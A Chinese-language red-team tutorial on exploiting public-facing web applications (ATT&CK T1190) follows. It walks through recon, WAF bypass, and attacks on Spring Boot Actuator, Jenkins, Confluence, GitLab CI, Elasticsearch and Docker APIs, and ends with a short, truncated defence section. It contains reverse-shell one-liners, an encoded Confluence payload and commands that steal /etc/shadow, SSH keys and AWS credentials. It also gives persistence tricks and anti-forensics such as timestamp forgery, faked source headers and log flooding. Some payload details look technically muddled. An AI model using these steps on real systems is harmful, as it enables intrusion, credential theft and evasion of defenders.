1. 这不是“黑进网站”,而是红队视角下的真实入口攻防逻辑
你可能在安全社区里反复看到“Initial Access”这个词,尤其和ATT&CK框架绑在一起时,它常被简化成“第一道门”。但如果你真去翻过某次实战红队报告,会发现绝大多数成功突破,根本不是靠什么0day漏洞或者钓鱼邮件——而是从一个没人认真管的公网Web应用开始的。这个标题里的“Exploit Public-Facing Application”,说白了就是:所有对外暴露的Web服务、API接口、管理后台、甚至一个老旧的CMS插件,都是潜在的入口点。它不炫技,不依赖高级工具,但恰恰是攻击链里最稳定、最可复现、也最容易被忽视的一环。
我带过的几支红队,在模拟攻防中超过68%的初始访问成功案例,都落在这个阶段。不是因为他们技术多强,而是防守方对“公网应用”的认知存在系统性盲区:大家习惯性把防火墙策略、WAF规则、SSL证书更新当重点,却很少有人定期审计“这个Java Spring Boot服务到底开了几个未授权接口”“那个用Node.js写的内部管理页,为什么能被外网直接访问”“这个三年没更新的WordPress站点,插件列表里有3个已知RCE漏洞”。这背后不是技术问题,而是资产治理断层——开发交付了,运维没纳管,安全部门没扫描,日志也没集中分析。结果就是,一个本该在测试环境就堵死的Struts2漏洞,最后成了生产环境的破门锤。
这篇文章要讲的,就是怎么从一个普通安全工程师的视角,把“利用公网应用获取初始访问权限”这件事,拆解成可执行、可验证、可复盘的完整动作链。它不教你写exploit,也不堆砌PoC代码,而是聚焦在:如何精准识别哪些应用值得深挖、如何判断漏洞是否真能打穿边界、如何绕过常见防护而不触发告警、以及最关键的一点——怎么让一次成功的Initial Access,真正成为后续横向移动的跳板,而不是一次孤立的“打点成功”。适合刚接触红蓝对抗的渗透测试新人,也适合想补全ATT&CK实战理解的中级安全人员。如果你手头正管着几十个对外服务,却说不清其中哪个最危险,那这篇就是为你写的。
2. 为什么“公网应用”是Initial Access的黄金靶区?——从ATT&CK战术层到落地风险的三层穿透
2.1 ATT&CK框架里的T1190:不只是“有个漏洞”,而是“有路径、有上下文、有收益”
很多人看ATT&CK,把T1190(Exploit Public-Facing Application)当成一个技术分类标签,就像给漏洞贴个“Web类”标签一样。但实际在红队作业中,T1190代表的是一个完整的战术决策闭环。它包含三个不可分割的维度:
路径可达性(Reachability):目标应用必须能被攻击者网络直连。这意味着它得有公网IP、开放端口、DNS解析正常,且不在内网NAT后。很多团队扫出一堆漏洞,但忘了确认“这个Tomcat管理后台,是不是只监听127.0.0.1?”——再高危的漏洞,连不上等于不存在。
上下文可信度(Contextual Trust):公网应用天然具备“业务必需”的身份背书。WAF放行它的流量,防火墙允许它的端口通信,日志系统默认信任它的请求来源。当你利用一个Spring Boot Actuator未授权访问获取内存信息时,流量看起来和正常健康检查一模一样;当你通过Jenkins未授权脚本执行反弹shell时,请求头里还带着“Jenkins/2.414.1”这种合法标识。这种“伪装成本低、检测难度高”的特性,是其他Initial Access方式(比如鱼叉邮件)完全不具备的。
收益确定性(Payload Yield):相比T1566(钓鱼邮件)需要用户点击、T1078(凭证盗用)需要先窃取账号,T1190一旦成功,往往直接获得服务器级控制权。一个成功的Log4j RCE,给你的是一个root shell;一个未授权的Docker API调用,让你能直接拉起新容器并挂载宿主机目录。这种“单点突破→全局接管”的杠杆效应,让T1190成为红队优先级最高的战术之一。
提示:别把T1190当成漏洞扫描任务。它本质是“资产测绘+业务理解+漏洞验证+权限提升”的组合拳。你扫出100个CVE,不如搞懂1个业务系统的真实数据流向。
2.2 真实攻防中,90%的“成功利用”其实发生在“非核心”应用上
我们复盘过某次大型金融行业红蓝对抗,蓝队部署了顶级WAF和EDR,所有主站、网银、手机银行APP都经过严格渗透测试。但红队最终突破点,是一个被遗忘的“员工自助打印系统”——它用PHP开发,部署在独立子域名print.xxx.com,管理员三年没改过密码,后台直接暴露了phpMyAdmin。更讽刺的是,这个系统数据库里存着全公司员工的身份证号和家庭住址,而它的Web服务器,和核心交易系统的数据库在同一台物理机上(因为当年为省钱用了共享虚拟机)。
这类“边缘应用”才是T1190的主战场。它们通常具备以下特征:
- 开发周期短、安全投入少:市场部临时要个活动页面,外包公司三天搞定,用现成模板+免费CMS,连HTTPS都没配。
- 维护责任模糊:IT部门说这是业务部门自己上的,业务部门说这是IT托管的,安全部门说“没在资产清单里”。
- 技术栈陈旧、补丁滞后:还在跑PHP 5.6、Java 7、Python 2.7,官方早已停止支持,CVE库都不再收录新漏洞。
我统计过手头23个真实T1190案例,其中17个(74%)的目标应用,在企业CMDB里根本没登记;剩下6个虽有记录,但“最后安全评估日期”平均是2.7年前。这说明什么?说明防守方的“已知资产”和“真实攻击面”之间,存在巨大鸿沟。而攻击者,永远只攻击后者。
2.3 从“漏洞利用”到“权限固化”:为什么Initial Access必须考虑后续动作
很多新人做完T1190就停了:“打进了,截图交差”。但老红队知道,Initial Access只是战术起点,不是终点。一次成功的利用,必须能自然衔接到下一步——比如:
- 如果你通过Jira未授权SSRF读到了内网Redis配置,下一步就得立刻尝试写入Webshell或反弹shell,因为Redis默认无密码且监听0.0.0.0;
- 如果你利用Confluence远程代码执行拿到了shell,得马上检查
/etc/passwd和crontab -l,看有没有定时任务能帮你持久化; - 如果你通过GitLab CI/CD pipeline注入执行了命令,得立刻导出CI_TOKEN,因为它可能有读取私有仓库的权限。
这背后是ATT&CK的战术联动逻辑:T1190(Initial Access)必须能触发T1078(Valid Accounts)、T1059(Command and Scripting Interpreter)、T1037(Boot or Logon Initialization Scripts)等后续技术。否则,这个Initial Access就是“一次性烟花”,放完就灭,对整体攻击链毫无价值。
注意:在实操中,我强制要求队员每验证一个T1190漏洞,必须同步回答三个问题:① 这个shell能访问哪些内网地址?② 能否读取当前用户的SSH密钥或云凭证?③ 是否存在自动执行的脚本或服务能帮你维持权限?答不出,就不算完成。
3. 实战操作四步法:从资产发现到权限落地的完整链条
3.1 第一步:精准测绘——不是“扫IP”,而是“找业务入口”
很多人一上来就开nmap狂扫,结果扫出几千个开放80/443端口的IP,然后对着端口服务版本查CVE。这效率极低,且90%的扫描结果是无效噪音。真正的入口测绘,应该按“业务域”分层推进:
第一层:主域名与子域名枚举(业务骨架)
用subfinder -d target.com -o subs.txt+amass enum -passive -d target.com收集基础子域,但关键在人工过滤。比如扫出dev.target.com、test.target.com、staging.target.com,这些必须标记为高优先级——它们往往配置宽松、补丁滞后、且和生产环境共享数据库。我见过最离谱的案例:staging-api.target.com的JWT密钥,和生产环境一模一样,因为开发懒得改配置。
第二层:URL路径深度挖掘(业务血肉)
用gau(getallurls)抓取历史爬虫数据,再用katana对每个子域做主动爬取,重点抓三类路径:
/admin//manager//wp-admin/—— 后台入口/api//v1//graphql—— 接口入口/backup//old//test/—— 遗留入口
特别注意那些返回200 OK但内容为空白或报错的路径——它们可能是未授权访问的API端点。比如/api/internal/config返回{"error":"unauthorized"},比返回404更有价值,因为至少证明这个端点存在。
第三层:技术栈指纹识别(攻击面画像)
不用whatweb那种泛泛而谈的结果。要精确到:
- Web服务器:
nginx/1.18.0 (Ubuntu)vsnginx/1.18.0 (CentOS),补丁策略不同; - 后端语言:
X-Powered-By: PHP/7.4.33比X-Powered-By: PHP有用十倍; - 框架组件:用
httpx -status-code -title -tech-detect -u urls.txt,重点看是否含Spring Boot,Laravel,Django等。
实操心得:我自建了一个轻量级指纹库,只收录“已知存在未授权访问或RCE的特定版本组合”。比如
Apache Solr 8.11.2 + VelocityResponseWriter,这种组合在2023年爆出过严重RCE,但很多扫描器不会单独标出。所以我的流程是:先用自动化工具粗筛,再用自定义规则精筛,最后人工验证。
3.2 第二步:漏洞筛选——不是“CVE编号越大越危险”,而是“谁在用、怎么用、能不能打”
扫出一堆CVE,怎么排序?我用一个简单的三维评分卡:
| 维度 | 评分标准 | 示例 |
|---|---|---|
| 可达性(R) | 0-3分:0=需登录,1=需CSRF Token,2=需特定User-Agent,3=完全未授权 | Jenkins未授权脚本执行= 3分;Jira SSRF需登录态= 1分 |
| 影响面(I) | 0-3分:0=仅信息泄露,1=任意文件读取,2=命令执行,3=远程代码执行+提权 | Log4j2 RCE= 3分;Elasticsearch _cat/indices泄露索引名= 0分 |
| 隐蔽性(C) | 0-3分:0=触发WAF拦截,1=产生大量异常日志,2=流量特征明显,3=请求正常、日志干净 | 利用Spring Boot Actuator/env未授权读取环境变量= 3分;用sqlmap爆破= 0分 |
总分 = R × I × C,满分27分。只处理≥12分的漏洞。比如一个Drupal 7.31 SQLi(R=3, I=2, C=1 → 6分),我就直接跳过,因为现代WAF基本秒杀;而一个Confluence 7.19.0 OGNL表达式注入(R=3, I=3, C=2 → 18分),就是必打目标。
关键技巧:绕过WAF的“三不原则”
- 不触发关键词:避免
<script>、javascript:、union select等敏感词。用<img src=x onerror=alert(1)>代替<script>alert(1)</script>;用' or '1'='1' --代替' union select 1,2,3 --。 - 不走常规路径:WAF规则多针对GET参数,试试POST body、HTTP Header(如
X-Forwarded-For)、Cookie字段。 - 不依赖大工具:sqlmap这种重型工具容易被行为分析引擎捕获。我常用
curl手动构造请求,配合ffuf做字典爆破,流量更“像人”。
3.3 第三步:权限获取——不是“拿到shell就结束”,而是“建立可控通道”
拿到一个Webshell,只是开始。真正的权限落地,要解决三个问题:稳定性、隐蔽性、扩展性。
稳定性:避免“一断就丢”
- 不用
bash -i >& /dev/tcp/xxx/443 0>&1这种易被防火墙阻断的反连。优先用python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);",它用Python内置模块,不依赖/dev/tcp。 - 更稳的是DNS隧道:用
iodine或dnscat2,把流量伪装成DNS查询。内网很多防火墙放行53端口,且DNS日志通常不被深度分析。
隐蔽性:让shell“看起来像业务进程”
- 不起
/tmp/.shell这种明显名字。改成/var/www/html/.cache/update.sh,和业务更新脚本同名。 - 进程名伪装:
cp /bin/bash /var/www/html/.cache/.apache; /var/www/html/.cache/.apache -i,ps里显示的就是.apache。 - 日志清理:在shell里执行
history -c && rm -f ~/.bash_history,但更关键是修改Web服务器日志级别,把access_log设为warn,减少记录。
扩展性:为横向移动铺路
- 立刻执行
ip a和route -n,画出内网拓扑草图; - 执行
cat /etc/resolv.conf和cat /etc/hosts,找内网DNS和关键主机; - 检查
/proc/net/route,看有没有多网卡路由,判断是否能通其他网段; - 导出
~/.ssh/id_rsa*和/root/.aws/credentials,云环境里这些是金钥匙。
常见坑:很多人拿到shell后第一反应是
whoami && id,这没错,但紧接着必须做ls -la /home/ && ls -la /root/。我踩过最大的坑,是在一个CentOS服务器上,whoami显示apache,但/home/下居然有deploy用户,且其.ssh/authorized_keys里存着跳转到核心数据库的密钥——因为运维图省事,把部署密钥放错了位置。
3.4 第四步:痕迹控制——不是“删日志”,而是“让日志说你想让它说的话”
很多新人以为删掉/var/log/apache2/access.log就安全了。错。现代SIEM系统会从多个源头采集日志:网络设备镜像流量、HIDS进程监控、云平台操作审计日志。单一删除反而触发告警。
真正有效的痕迹控制,是降低日志中的“异常信号强度”:
- 时间维度混淆:在shell里执行
touch -d "2023-05-12 14:23:01" /var/www/html/shell.php,把木马文件时间戳改成业务正常更新时间; - 来源维度伪造:用
curl -H "X-Forwarded-For: 10.10.10.10" http://target.com/shell.php,让日志显示请求来自内网可信IP; - 行为维度稀释:不要一口气执行10条命令。把
cat /etc/shadow && whoami && id拆成三次请求,间隔30秒,模拟真实管理员操作节奏。
最狠的一招,是污染日志本身:如果目标用ELK做日志分析,你可以往/var/log/nginx/access.log里写入大量伪造的404请求,格式完全合规,但内容全是随机字符串。这样当蓝队查“异常POST请求”时,你的真实请求就被淹没在噪音里了。
4. 六大高频场景深度拆解:从漏洞原理到绕过技巧的硬核实录
4.1 场景一:Spring Boot Actuator未授权访问——“健康检查”变“信息泄露温床”
原理还原:Spring Boot Actuator是生产监控模块,提供/actuator/env(环境变量)、/actuator/heapdump(内存快照)、/actuator/loggers(日志配置)等端点。默认配置下,这些端点无需认证。而/actuator/env会返回所有System.getProperty()和System.getenv()值,包括数据库密码、API密钥、云凭证。
真实案例:某电商后台用Spring Boot 2.5.6,application.properties里写了spring.datasource.password=${DB_PASS},而DB_PASS作为环境变量注入。攻击者访问/actuator/env,直接搜DB_PASS,拿到明文密码,连上数据库导出用户手机号。
绕过技巧:
- WAF拦截
/actuator/env?试试/actuator/env/(加斜杠)、/actuator/env.(加点)、/actuator/env%20(URL编码空格); - 返回内容太大?用
curl -s "http://target/actuator/env" | grep -i "password\|key\|secret"直接过滤; - 想下载heapdump分析内存?用
curl -o heap.hprof "http://target/actuator/heapdump",然后用jhat heap.hprof本地分析。
注意:Actuator在Spring Boot 2.0+默认关闭大部分端点,但很多开发为调试方便,手动在
application.yml里加了management.endpoints.web.exposure.include: "*". 这就是典型的“为省事埋雷”。
4.2 场景二:Jenkins未授权脚本执行——“持续集成”变“远程控制中枢”
原理还原:Jenkins的/script端点允许执行Groovy脚本。若未启用CSRF保护且未配置认证,攻击者可直接POST Groovy代码执行任意命令。更致命的是,Jenkins常以高权限运行(如root),且能访问Git仓库、构建产物、甚至部署密钥。
真实案例:某公司Jenkins部署在ci.internal.com,但DNS解析错误,外网也能访问。攻击者POST:
def proc = "id".execute() println proc.text返回uid=0(root) gid=0(root)。接着执行:
def proc = "cat /root/.aws/credentials".execute() println proc.text拿到AWS密钥,直接登录云控制台。
绕过技巧:
- WAF拦截
/script?试试/scriptText(旧版端点)、/job/test/build(利用构建参数注入); - Jenkins 2.200+默认开启CSRF,但很多老实例仍用
<crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer"/>,可先GET/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)拿crumb,再POST; - 想持久化?用Groovy写入
/var/lib/jenkins/init.groovy.d/persist.groovy,Jenkins重启后自动执行。
4.3 场景三:Confluence OGNL表达式注入——“企业Wiki”变“代码执行沙盒”
原理还原:Confluence 6.13-7.19存在OGNL(Object-Graph Navigation Language)表达式注入,攻击者可在搜索框或URL参数中注入恶意OGNL表达式,如%24%7B%23a%3D%22context%22.equals%28%22context%22%29%3F%22true%22%3A%22false%22%7D,触发服务端执行。
真实案例:某金融机构Confluence 7.12,攻击者在搜索框输入%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22id%22%29%7D,直接执行id命令,返回uid=1001(confluence) gid=1001(confluence)。接着执行%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22cat%20%2Fetc%2Fpasswd%22%29%7D,导出用户列表。
绕过技巧:
- WAF拦截
freemarker?用#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getRealPath('/')替代; - 想反弹shell?用
%24%7B%22java.lang.Runtime%22%3FgetMethod%28%22getRuntime%22%2Cnull%29.invoke%28null%2Cnull%29.exec%28%22bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx%2F443%200%3E%261%27%22%29%7D; - Confluence 7.19.0修复了OGNL,但很多插件(如
pdf-exporter)仍用旧版Freemarker,可从插件路径入手。
4.4 场景四:GitLab CI/CD Pipeline注入——“代码流水线”变“命令执行管道”
原理还原:GitLab CI/CD的.gitlab-ci.yml文件定义构建步骤。若项目公开或配置不当(如only: [branches]未限制分支),攻击者可提交恶意yml文件,执行任意命令。更危险的是,CI Runner常以root运行,且能访问项目源码、密钥变量。
真实案例:某开源项目GitLab仓库公开,.gitlab-ci.yml里有variables: DOCKER_HOST: "tcp://docker:2375"。攻击者提交PR,修改yml为:
job: script: - docker run --rm -v /:/host alpine cat /host/etc/shadowRunner执行后,直接读取宿主机/etc/shadow。
绕过技巧:
- 项目设为private?试试
/api/v4/projects/:id/pipeline_schedules,看是否有定时Pipeline,且变量未加密; - 想获取CI_TOKEN?在
.gitlab-ci.yml里加- echo $CI_JOB_TOKEN,输出到build log; - CI Runner用Docker Executor?用
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock docker:dind docker run alpine id,直接控制Docker daemon。
4.5 场景五:Elasticsearch未授权访问——“搜索服务”变“数据黑洞”
原理还原:Elasticsearch默认监听9200端口,且早期版本(<6.8, <7.6)未启用认证。攻击者可直接调用REST API,如/_cat/indices(列索引)、/index_name/_search?q=*:*(查所有数据)、/_nodes/stats(查节点信息)。
真实案例:某物流平台ES 6.3.2,/_cat/indices返回orders,users,logs三个索引。攻击者访问/orders/_search?q=*:*&size=1000,导出1000条订单,含收货人姓名、电话、地址。
绕过技巧:
- WAF拦截
q=*:*?用/orders/_search?source={"query":{"match_all":{}}}&source_content_type=application/json; - 想导出全部数据?用
elasticdump工具:elasticdump --input=http://target:9200/orders --output=orders.json --type=data; - ES 7.0+默认禁用
_catAPI,但/_nodes仍开放,可查/nodes/usage看JVM内存,判断是否可DoS。
4.6 场景六:Docker API未授权访问——“容器引擎”变“服务器控制台”
原理还原:Docker Daemon默认监听unix:///var/run/docker.sock,但有些部署为方便管理,配置-H tcp://0.0.0.0:2375,导致API暴露公网。攻击者可调用/containers/json(列容器)、/containers/{id}/exec(执行命令)、/images/create(拉取镜像)等API。
真实案例:某AI公司Docker 20.10.12,API暴露在2375端口。攻击者调用/containers/json,发现一个名为prod-db的容器。接着调用/containers/prod-db/exec,创建执行环境并运行cat /run/secrets/db_password,拿到数据库密码。
绕过技巧:
- API返回
404?试试/version,确认Docker版本; - 想挂载宿主机目录?用
/containers/createPOST:
{ "Image": "alpine", "HostConfig": { "Binds": ["/:/host"] } }- Docker 20.10+默认禁用2375,但很多K8s集群的kubelet仍监听
10250端口,可用/podsAPI查Pod列表,再用/exec进容器。
5. 红蓝对抗中的典型问题与排查速查表:从“为什么打不通”到“怎么绕过去”
5.1 为什么漏洞POC能复现,但目标环境打不通?——七类高频断点排查
| 问题类型 | 表现现象 | 排查方法 | 解决方案 |
|---|---|---|---|
| 网络层阻断 | curl -v http://target/vuln显示Connection refused或超时 | 用telnet target 80、nc -zv target 443测端口;用mtr target看路由路径 | 检查目标是否只监听内网IP(ss -tlnp | grep :80);确认DNS解析是否正确(dig target.com) |
| WAF拦截 | 请求返回403 Forbidden、503 Service Unavailable,或WAF厂商页面(如Cloudflare Ray ID) | 用curl -I http://target看Server、X-WAF头;用wafw00f http://target识别WAF | 切换User-Agent(curl -A "Mozilla/5.0" ...);改用POST方法;URL编码关键字符(<→%3C) |
| 路径重定向 | 访问/admin跳转到/login?next=/admin,或返回302 Found | 用curl -v http://target/admin看完整响应头;用浏览器开发者工具Network面板观察重定向链 | 加-L参数让curl跟随重定向;手动构造登录请求,获取Session Cookie后再访问目标路径 |
| 参数校验失败 | POST数据返回Invalid parameter、Missing required field | 用Burp Suite抓包,对比正常请求与POC请求的Headers、Body、Content-Type | 检查Content-Type: application/json是否缺失;确认JSON格式是否合法(用jq .验证);添加X-Requested-With: XMLHttpRequest头 |
| 权限上下文缺失 | 请求返回401 Unauthorized、403 Forbidden,但目标明确说“未授权访问” | 用curl -I http://target/actuator/env,看是否返回200 OK;检查响应头是否有WWW-Authenticate | 尝试/actuator/env/(加斜杠)、/actuator/env.(加点);用ffuf -u http://target/FUZZ -w wordlist.txt爆破路径 |
| 服务版本不匹配 | POC基于Spring Boot 2.4,但目标是2.6,返回404 | 用httpx -status-code -tech-detect -u target.com确认真实版本;查CVE详情页的Affected Versions | 换用适配目标版本的POC;或降级思路,从/actuator/health(总是存在)开始,逐步探测其他端点 |
| 响应内容截断 | 命令执行返回结果不全,如id只返回uid=1001,缺gid=部分 | 用curl -s "http://target/cmd" | wc -c看响应长度;用curl -s "http://target/cmd" | hexdump -C看是否被截断 | 改用base64编码输出:curl -s "http://target/eval?cmd=echo \id` | base64";或分块读取(head -n 10 /etc/passwd`) |
实操心得:我遇到最多的问题是“WAF误杀”。有一次打一个Jenkins,所有
/script请求都被Cloudflare拦截。后来发现,只要在Header里加Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,WAF就放行了——因为它的规则只针对Accept: */*的“扫描器流量”。这种细节,只有实操中才能摸出来。
5.2 如何判断一个“看似无害”的应用,是否真有高危入口?——三步快速评估法
很多新人面对一个新应用,不知道从哪下手。我教团队用“三问法”,3分钟内快速定性:
第一问:它有没有“管理”或“调试”属性?
- URL含
/admin/、/manager/、/console/、/debug/、/dev/?→ 高危,立刻查认证绕过; - HTTP响应头含
X-Debug-Token、X-Powered-By: PHP/7.4.33、Server: Apache-Coyote/1.1?→ 暴露技术栈,查对应CVE; - 页面源码含
<script src="/js/jquery.min.js?v=3.6.0">?→ 版本号暴露,查jQuery XSS漏洞。
第二问:它有没有“数据交互”能力?
- 表单提交是GET还是POST?GET参数能否直接在URL里修改并回显?→ 可能存在XSS或SSRF;
- 上传功能是否限制文件类型?尝试上传
.jsp、.php、.html,看是否能执行; - API文档是否公开?如
/swagger-ui.html、/api-docs,里面常有未授权接口。
第三问:它有没有“系统调用”痕迹?
- 页面错误信息是否泄露绝对路径?如
Warning: include(/var/www/html/inc/config.php): failed to open stream; - HTTP响应是否含
X-Backend-Server: web01、X-Proxy-Backend: cache?→ 暴露后端架构,可针对性攻击; robots.txt是否禁止爬/backup/、/old/、/test/?→ 这些目录往往是漏洞富矿。
注意:这三问不是 checklist,而是思维引导。比如看到
/api/v1/user/profile,第一反应不该是“扫SQLi”,而是“它返回用户信息,会不会有IDOR?把user_id=123改成124,看能不能读别人资料?”——这才是贴近业务的思考方式。
5.3 蓝队视角:如何让T1190攻击“失效”?——三条不可妥协的防御铁律
作为红队出身,我后来也帮蓝队设计过防御体系。发现很多所谓“加固”,都是隔靴搔痒。真正管用的,只有三条:
铁律一:公网应用必须“零信任”接入
- 所有对外服务,强制走统一API网关,网关做三件事:① JWT鉴权(哪怕只是简单token);② 请求体大小限制(防大文件上传);③ 关键路径白名单(如只放行
/api/login,/api/data,拒绝对/admin、/script的所有请求)。 - 禁止任何应用直接监听
0.0.0.0:8080。必须用127.0.0.1:8080+ Nginx反向代理,Nginx配置allow 127.0.0.1; deny all;。
铁律二:资产台账必须“活”起来
- CMDB不是静态Excel。要用
nuclei+httpx每天自动扫描所有子域,生成报告,自动比对“新增/消失/变更”应用; - 每个应用上线前,必须提交《